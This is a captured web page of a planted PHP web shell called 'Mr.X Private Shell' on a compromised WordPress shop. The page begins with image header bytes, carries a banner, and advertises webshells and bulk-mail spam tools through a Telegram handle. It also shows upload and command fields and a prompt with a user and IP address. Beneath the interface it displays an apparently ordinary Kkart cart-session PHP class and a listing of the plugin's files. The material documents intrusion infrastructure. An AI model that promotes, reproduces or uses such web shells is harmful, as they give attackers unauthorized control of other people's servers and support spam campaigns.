����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Cart session handling class.
 *
 * @package Kkart\Classes
 * @version 3.2.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * KKART_Cart_Session class.
 *
 * @since 3.2.0
 */
final class KKART_Cart_Session {

	/**
	 * Reference to cart object.
	 *
	 * @since 3.2.0
	 * @var KKART_Cart
	 */
	protected $cart;

	/**
	 * Sets up the items provided, and calculate totals.
	 *
	 * @since 3.2.0
	 * @throws Exception If missing KKART_Cart object.
	 *
	 * @param KKART_Cart $cart Cart object to calculate totals for.
	 */
	public function __construct( &$cart ) {
		if ( ! is_a( $cart, 'KKART_Cart' ) ) {
			throw new Exception( 'A valid KKART_Cart object is required' );
		}

		$this->cart = $cart;
	}

	/**
	 * Register methods for this object on the appropriate WordPress hooks.
	 */
	public function init() {
		add_action( 'wp_loaded', array( $this, 'get_cart_from_session' ) );
		add_action( 'kkart_cart_emptied', array( $this, 'destroy_cart_session' ) );
		add_action( 'kkart_after_calculate_totals', array( $this, 'set_session' ) );
		add_action( 'kkart_cart_loaded_from_session', array( $this, 'set_session' ) );
		add_action( 'kkart_removed_coupon', array( $this, 'set_session' ) );

		// Persistent cart stored to usermeta.
		add_action( 'kkart_add_to_cart', array( $this, 'persistent_cart_update' ) );
		add_action( 'kkart_cart_item_removed', array( $this, 'persistent_cart_update' ) );
		add_action( 'kkart_cart_item_restored', array( $this, 'persistent_cart_update' ) );
		add_action( 'kkart_cart_item_set_quantity', array( $this, 'persistent_cart_update' ) );

		// Cookie events - cart cookies need to be set before headers are sent.
		add_action( 'kkart_add_to_cart', array( $this, 'maybe_set_cart_cookies' ) );
		add_action( 'wp', array( $this, 'maybe_set_cart_cookies' ), 99 );
		add_action( 'shutdown', array( $this, 'maybe_set_cart_cookies' ), 0 );
	}

	/**
	 * Get the cart data from the PHP session and store it in class variables.
	 *
	 * @since 3.2.0
	 */
	public function get_cart_from_session() {
		do_action( 'kkart_load_cart_from_session' );
		$this->cart->set_totals( KKART()->session->get( 'cart_totals', null ) );
		$this->cart->set_applied_coupons( KKART()->session->get( 'applied_coupons', array() ) );
		$this->cart->set_coupon_discount_totals( KKART()->session->get( 'coupon_discount_totals', array() ) );
		$this->cart->set_coupon_discount_tax_totals( KKART()->session->get( 'coupon_discount_tax_totals', array() ) );
		$this->cart->set_removed_cart_contents( KKART()->session->get( 'removed_cart_contents', array() ) );

		$update_cart_session = false; // Flag to indicate the stored cart should be updated.
		$order_again         = false; // Flag to indicate whether this is a re-order.
		$cart                = KKART()->session->get( 'cart', null );
		$merge_saved_cart    = (bool) get_user_meta( get_current_user_id(), '_kkart_load_saved_cart_after_login', true );

		// Merge saved cart with current cart.
		if ( is_null( $cart ) || $merge_saved_cart ) {
			$saved_cart          = $this->get_saved_cart();
			$cart                = is_null( $cart ) ? array() : $cart;
			$cart                = array_merge( $saved_cart, $cart );
			$update_cart_session = true;

			delete_user_meta( get_current_user_id(), '_kkart_load_saved_cart_after_login' );
		}

		// Populate cart from order.
		if ( isset( $_GET['order_again'], $_GET['_wpnonce'] ) && is_user_logged_in() && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), 'kkart-order_again' ) ) { // WPCS: input var ok, sanitization ok.
			$cart        = $this->populate_cart_from_order( absint( $_GET['order_again'] ), $cart ); // WPCS: input var ok.
			$order_again = true;
		}

		// Prime caches to reduce future queries.
		if ( is_callable( '_prime_post_caches' ) ) {
			_prime_post_caches( wp_list_pluck( $cart, 'product_id' ) );
		}

		$cart_contents = array();

		foreach ( $cart as $key => $values ) {
			if ( ! is_customize_preview() && 'customize-preview' === $key ) {
				continue;
			}

			$product = kkart_get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );

			if ( empty( $product ) || ! $product->exists() || 0 >= $values['quantity'] ) {
				continue;
			}

			/**
			 * Allow 3rd parties to validate this item before it's added to cart and add their own notices.
			 *
			 * @since 3.6.0
			 *
			 * @param bool $remove_cart_item_from_session If true, the item will not be added to the cart. Default: false.
			 * @param string $key Cart item key.
			 * @param array $values Cart item values e.g. quantity and product_id.
			 */
			if ( apply_filters( 'kkart_pre_remove_cart_item_from_session', false, $key, $values ) ) {
				$update_cart_session = true;
				do_action( 'kkart_remove_cart_item_from_session', $key, $values );

			} elseif ( ! $product->is_purchasable() ) {
				$update_cart_session = true;
				/* translators: %s: product name */
				$message = sprintf( __( '%s has been removed from your cart because it can no longer be purchased. Please contact us if you need assistance.', 'kkart' ), $product->get_name() );
				/**
				 * Filter message about item removed from the cart.
				 *
				 * @since 3.8.0
				 * @param string     $message Message.
				 * @param KKART_Product $product Product data.
				 */
				$message = apply_filters( 'kkart_cart_item_removed_message', $message, $product );
				kkart_add_notice( $message, 'error' );
				do_action( 'kkart_remove_cart_item_from_session', $key, $values );

			} elseif ( ! empty( $values['data_hash'] ) && ! hash_equals( $values['data_hash'], kkart_get_cart_item_data_hash( $product ) ) ) { // phpcs:ignore PHPCompatibility.PHP.NewFunctions.hash_equalsFound
				$update_cart_session = true;
				/* translators: %1$s: product name. %2$s product permalink */
				kkart_add_notice( sprintf( __( '%1$s has been removed from your cart because it has since been modified. You can add it back to your cart <a href="%2$s">here</a>.', 'kkart' ), $product->get_name(), $product->get_permalink() ), 'notice' );
				do_action( 'kkart_remove_cart_item_from_session', $key, $values );

			} else {
				// Put session data into array. Run through filter so other plugins can load their own session data.
				$session_data = array_merge(
					$values,
					array(
						'data' => $product,
					)
				);

				$cart_contents[ $key ] = apply_filters( 'kkart_get_cart_item_from_session', $session_data, $values, $key );

				// Add to cart right away so the product is visible in kkart_get_cart_item_from_session hook.
				$this->cart->set_cart_contents( $cart_contents );
			}
		}

		// If it's not empty, it's been already populated by the loop above.
		if ( ! empty( $cart_contents ) ) {
			$this->cart->set_cart_contents( apply_filters( 'kkart_cart_contents_changed', $cart_contents ) );
		}

		do_action( 'kkart_cart_loaded_from_session', $this->cart );

		if ( $update_cart_session || is_null( KKART()->session->get( 'cart_totals', null ) ) ) {
			KKART()->session->set( 'cart', $this->get_cart_for_session() );
			$this->cart->calculate_totals();
		}

		// If this is a re-order, redirect to the cart page to get rid of the `order_again` query string.
		if ( $order_again ) {
			wp_safe_redirect( kkart_get_cart_url() );
			exit;
		}
	}

	/**
	 * Destroy cart session data.
	 *
	 * @since 3.2.0
	 */
	public function destroy_cart_session() {
		KKART()->session->set( 'cart', null );
		KKART()->session->set( 'cart_totals', null );
		KKART()->session->set( 'applied_coupons', null );
		KKART()->session->set( 'coupon_discount_totals', null );
		KKART()->session->set( 'coupon_discount_tax_totals', null );
		KKART()->session->set( 'removed_cart_contents', null );
		KKART()->session->set( 'order_awaiting_payment', null );
	}

	/**
	 * Will set cart cookies if needed and when possible.
	 *
	 * @since 3.2.0
	 */
	public function maybe_set_cart_cookies() {
		if ( ! headers_sent() && did_action( 'wp_loaded' ) ) {
			if ( ! $this->cart->is_empty() ) {
				$this->set_cart_cookies( true );
			} elseif ( isset( $_COOKIE['kkart_items_in_cart'] ) ) { // WPCS: input var ok.
				$this->set_cart_cookies( false );
			}
		}
	}

	/**
	 * Sets the php session data for the cart and coupons.
	 */
	public function set_session() {
		KKART()->session->set( 'cart', $this->get_cart_for_session() );
		KKART()->session->set( 'cart_totals', $this->cart->get_totals() );
		KKART()->session->set( 'applied_coupons', $this->cart->get_applied_coupons() );
		KKART()->session->set( 'coupon_discount_totals', $this->cart->get_coupon_discount_totals() );
		KKART()->session->set( 'coupon_discount_tax_totals', $this->cart->get_coupon_discount_tax_totals() );
		KKART()->session->set( 'removed_cart_contents', $this->cart->get_removed_cart_contents() );

		do_action( 'kkart_cart_updated' );
	}

	/**
	 * Returns the contents of the cart in an array without the 'data' element.
	 *
	 * @return array contents of the cart
	 */
	public function get_cart_for_session() {
		$cart_session = array();

		foreach ( $this->cart->get_cart() as $key => $values ) {
			$cart_session[ $key ] = $values;
			unset( $cart_session[ $key ]['data'] ); // Unset product object.
		}

		return $cart_session;
	}

	/**
	 * Save the persistent cart when the cart is updated.
	 */
	public function persistent_cart_update() {
		if ( get_current_user_id() && apply_filters( 'kkart_persistent_cart_enabled', true ) ) {
			update_user_meta(
				get_current_user_id(),
				'_kkart_persistent_cart_' . get_current_blog_id(),
				array(
					'cart' => $this->get_cart_for_session(),
				)
			);
		}
	}

	/**
	 * Delete the persistent cart permanently.
	 */
	public function persistent_cart_destroy() {
		if ( get_current_user_id() && apply_filters( 'kkart_persistent_cart_enabled', true ) ) {
			delete_user_meta( get_current_user_id(), '_kkart_persistent_cart_' . get_current_blog_id() );
		}
	}

	/**
	 * Set cart hash cookie and items in cart if not already set.
	 *
	 * @param bool $set Should cookies be set (true) or unset.
	 */
	private function set_cart_cookies( $set = true ) {
		if ( $set ) {
			$setcookies = array(
				'kkart_items_in_cart' => '1',
				'kkart_cart_hash'     => KKART()->cart->get_cart_hash(),
			);
			foreach ( $setcookies as $name => $value ) {
				if ( ! isset( $_COOKIE[ $name ] ) || $_COOKIE[ $name ] !== $value ) {
					kkart_setcookie( $name, $value );
				}
			}
		} else {
			$unsetcookies = array(
				'kkart_items_in_cart',
				'kkart_cart_hash',
			);
			foreach ( $unsetcookies as $name ) {
				if ( isset( $_COOKIE[ $name ] ) ) {
					kkart_setcookie( $name, 0, time() - HOUR_IN_SECONDS );
					unset( $_COOKIE[ $name ] );
				}
			}
		}

		do_action( 'kkart_set_cart_cookies', $set );
	}

	/**
	 * Get the persistent cart from the database.
	 *
	 * @since  3.5.0
	 * @return array
	 */
	private function get_saved_cart() {
		$saved_cart = array();

		if ( apply_filters( 'kkart_persistent_cart_enabled', true ) ) {
			$saved_cart_meta = get_user_meta( get_current_user_id(), '_kkart_persistent_cart_' . get_current_blog_id(), true );

			if ( isset( $saved_cart_meta['cart'] ) ) {
				$saved_cart = array_filter( (array) $saved_cart_meta['cart'] );
			}
		}

		return $saved_cart;
	}

	/**
	 * Get a cart from an order, if user has permission.
	 *
	 * @since  3.5.0
	 *
	 * @param int   $order_id Order ID to try to load.
	 * @param array $cart Current cart array.
	 *
	 * @return array
	 */
	private function populate_cart_from_order( $order_id, $cart ) {
		$order = kkart_get_order( $order_id );

		if ( ! $order->get_id() || ! $order->has_status( apply_filters( 'kkart_valid_order_statuses_for_order_again', array( 'completed' ) ) ) || ! current_user_can( 'order_again', $order->get_id() ) ) {
			return;
		}

		if ( apply_filters( 'kkart_empty_cart_when_order_again', true ) ) {
			$cart = array();
		}

		$inital_cart_size = count( $cart );
		$order_items      = $order->get_items();

		foreach ( $order_items as $item ) {
			$product_id     = (int) apply_filters( 'kkart_add_to_cart_product_id', $item->get_product_id() );
			$quantity       = $item->get_quantity();
			$variation_id   = (int) $item->get_variation_id();
			$variations     = array();
			$cart_item_data = apply_filters( 'kkart_order_again_cart_item_data', array(), $item, $order );
			$product        = $item->get_product();

			if ( ! $product ) {
				continue;
			}

			// Prevent reordering variable products if no selected variation.
			if ( ! $variation_id && $product->is_type( 'variable' ) ) {
				continue;
			}

			// Prevent reordering items specifically out of stock.
			if ( ! $product->is_in_stock() ) {
				continue;
			}

			foreach ( $item->get_meta_data() as $meta ) {
				if ( taxonomy_is_product_attribute( $meta->key ) ) {
					$term                     = get_term_by( 'slug', $meta->value, $meta->key );
					$variations[ $meta->key ] = $term ? $term->name : $meta->value;
				} elseif ( meta_is_product_attribute( $meta->key, $meta->value, $product_id ) ) {
					$variations[ $meta->key ] = $meta->value;
				}
			}

			if ( ! apply_filters( 'kkart_add_to_cart_validation', true, $product_id, $quantity, $variation_id, $variations, $cart_item_data ) ) {
				continue;
			}

			// Add to cart directly.
			$cart_id          = KKART()->cart->generate_cart_id( $product_id, $variation_id, $variations, $cart_item_data );
			$product_data     = kkart_get_product( $variation_id ? $variation_id : $product_id );
			$cart[ $cart_id ] = apply_filters(
				'kkart_add_order_again_cart_item',
				array_merge(
					$cart_item_data,
					array(
						'key'          => $cart_id,
						'product_id'   => $product_id,
						'variation_id' => $variation_id,
						'variation'    => $variations,
						'quantity'     => $quantity,
						'data'         => $product_data,
						'data_hash'    => kkart_get_cart_item_data_hash( $product_data ),
					)
				),
				$cart_id
			);
		}

		do_action_ref_array( 'kkart_ordered_again', array( $order->get_id(), $order_items, &$cart ) );

		$num_items_in_cart           = count( $cart );
		$num_items_in_original_order = count( $order_items );
		$num_items_added             = $num_items_in_cart - $inital_cart_size;

		if ( $num_items_in_original_order > $num_items_added ) {
			kkart_add_notice(
				sprintf(
					/* translators: %d item count */
					_n(
						'%d item from your previous order is currently unavailable and could not be added to your cart.',
						'%d items from your previous order are currently unavailable and could not be added to your cart.',
						$num_items_in_original_order - $num_items_added,
						'kkart'
					),
					$num_items_in_original_order - $num_items_added
				),
				'error'
			);
		}

		if ( 0 < $num_items_added ) {
			kkart_add_notice( __( 'The cart has been filled with the items from your previous order.', 'kkart' ) );
		}

		return $cart;
	}
}

Filemanager

Name Type Size Permission Actions
abstracts Folder 0755
admin Folder 0755
cli Folder 0755
customizer Folder 0755
data-stores Folder 0755
emails Folder 0755
export Folder 0755
gateways Folder 0755
import Folder 0755
integrations Folder 0755
interfaces Folder 0755
legacy Folder 0755
libraries Folder 0755
log-handlers Folder 0755
payment-tokens Folder 0755
queue Folder 0755
rest-api Folder 0755
shipping Folder 0755
shortcodes Folder 0755
theme-support Folder 0755
tracks Folder 0755
traits Folder 0755
walkers Folder 0755
wccom-site Folder 0755
widgets Folder 0755
body-props-settings.php File 8.18 KB 0644
class-kkart-ajax.php File 128.26 KB 0644
class-kkart-api.php File 4.97 KB 0644
class-kkart-auth.php File 11.66 KB 0644
class-kkart-autoloader.php File 2.78 KB 0644
class-kkart-background-emailer.php File 4.59 KB 0644
class-kkart-background-updater.php File 3.5 KB 0644
class-kkart-breadcrumb.php File 9.46 KB 0644
class-kkart-cache-helper.php File 10.71 KB 0644
class-kkart-cart-fees.php File 3.42 KB 0644
class-kkart-cart-session.php File 14.46 KB 0644
class-kkart-cart-totals.php File 27.72 KB 0644
class-kkart-cart.php File 63.24 KB 0644
class-kkart-checkout.php File 44.59 KB 0644
class-kkart-cli.php File 1.02 KB 0644
class-kkart-comments.php File 12.99 KB 0644
class-kkart-countries.php File 42.21 KB 0644
class-kkart-coupon.php File 32.57 KB 0644
class-kkart-customer-download-log.php File 3.38 KB 0644
class-kkart-customer-download.php File 10.36 KB 0644
class-kkart-customer.php File 27.24 KB 0644
class-kkart-data-exception.php File 1.28 KB 0644
class-kkart-data-store.php File 5.88 KB 0644
class-kkart-datetime.php File 2.2 KB 0644
class-kkart-deprecated-action-hooks.php File 6.54 KB 0644
class-kkart-deprecated-filter-hooks.php File 6.26 KB 0644
class-kkart-discounts.php File 30.96 KB 0644
class-kkart-download-handler.php File 23.37 KB 0644
class-kkart-emails.php File 22.17 KB 0644
class-kkart-embed.php File 4.18 KB 0644
class-kkart-form-handler.php File 43.73 KB 0644
class-kkart-frontend-scripts.php File 26 KB 0644
class-kkart-geo-ip.php File 30.43 KB 0644
class-kkart-geolite-integration.php File 1.99 KB 0644
class-kkart-geolocation.php File 10.34 KB 0644
class-kkart-https.php File 4.29 KB 0644
class-kkart-install.php File 53.84 KB 0644
class-kkart-integrations.php File 1.29 KB 0644
class-kkart-log-levels.php File 2.54 KB 0644
class-kkart-logger.php File 8.21 KB 0644
class-kkart-meta-data.php File 2.18 KB 0644
class-kkart-order-factory.php File 3.14 KB 0644
class-kkart-order-item-coupon.php File 4.02 KB 0644
class-kkart-order-item-fee.php File 8.7 KB 0644
class-kkart-order-item-meta.php File 5.8 KB 0644
class-kkart-order-item-product.php File 13.05 KB 0644
class-kkart-order-item-shipping.php File 7.75 KB 0644
class-kkart-order-item-tax.php File 6.44 KB 0644
class-kkart-order-item.php File 10.69 KB 0644
class-kkart-order-query.php File 2.52 KB 0644
class-kkart-order-refund.php File 4.89 KB 0644
class-kkart-order.php File 61.03 KB 0644
class-kkart-payment-gateways.php File 5.24 KB 0644
class-kkart-payment-tokens.php File 5.91 KB 0644
class-kkart-post-data.php File 17.81 KB 0644
class-kkart-post-types.php File 26.49 KB 0644
class-kkart-privacy-background-process.php File 1.69 KB 0644
class-kkart-privacy-erasers.php File 13.28 KB 0644
class-kkart-privacy-exporters.php File 14.12 KB 0644
class-kkart-privacy.php File 14.86 KB 0644
class-kkart-product-attribute.php File 6.89 KB 0644
class-kkart-product-download.php File 6.01 KB 0644
class-kkart-product-external.php File 4.77 KB 0644
class-kkart-product-factory.php File 3.6 KB 0644
class-kkart-product-grouped.php File 5.19 KB 0644
class-kkart-product-query.php File 2.17 KB 0644
class-kkart-product-simple.php File 1.85 KB 0644
class-kkart-product-variable.php File 21.47 KB 0644
class-kkart-product-variation.php File 17.2 KB 0644
class-kkart-query.php File 30.4 KB 0644
class-kkart-rate-limiter.php File 2.08 KB 0644
class-kkart-regenerate-images-request.php File 8.17 KB 0644
class-kkart-regenerate-images.php File 15.24 KB 0644
class-kkart-register-wp-admin-settings.php File 4.87 KB 0644
class-kkart-rest-authentication.php File 19.35 KB 0644
class-kkart-rest-exception.php File 273 B 0644
class-kkart-session-handler.php File 10.57 KB 0644
class-kkart-shipping-rate.php File 5.26 KB 0644
class-kkart-shipping-zone.php File 13.09 KB 0644
class-kkart-shipping-zones.php File 4.07 KB 0644
class-kkart-shipping.php File 11.33 KB 0644
class-kkart-shortcodes.php File 17.21 KB 0644
class-kkart-structured-data.php File 17.2 KB 0644
class-kkart-tax.php File 35.84 KB 0644
class-kkart-template-loader.php File 18.44 KB 0644
class-kkart-tracker.php File 22.51 KB 0644
class-kkart-validation.php File 5.83 KB 0644
class-kkart-webhook.php File 29.85 KB 0644
class-kkart.php File 31.28 KB 0644
kkart-account-functions.php File 12.69 KB 0644
kkart-attribute-functions.php File 20.59 KB 0644
kkart-cart-functions.php File 17.27 KB 0644
kkart-conditional-functions.php File 11.8 KB 0644
kkart-core-functions.php File 82.04 KB 0644
kkart-coupon-functions.php File 2.65 KB 0644
kkart-formatting-functions.php File 41.61 KB 0644
kkart-notice-functions.php File 7.44 KB 0644
kkart-order-functions.php File 33.53 KB 0644
kkart-order-item-functions.php File 5.06 KB 0644
kkart-page-functions.php File 6.92 KB 0644
kkart-product-functions.php File 47.3 KB 0644
kkart-rest-functions.php File 10.62 KB 0644
kkart-stock-functions.php File 12.45 KB 0644
kkart-template-functions.php File 164.64 KB 0644
kkart-template-hooks.php File 11.06 KB 0644
kkart-term-functions.php File 19.45 KB 0644
kkart-update-functions.php File 64.88 KB 0644
kkart-user-functions.php File 26.58 KB 0644
kkart-webhook-functions.php File 5.58 KB 0644
kkart-widget-functions.php File 2.08 KB 0644
premium.php File 943 B 0644
premium_functions.php File 957 B 0644
shortcode_functions.php File 71.11 KB 0644
shortcodes.php File 265.74 KB 0644
template.php File 2.85 KB 0644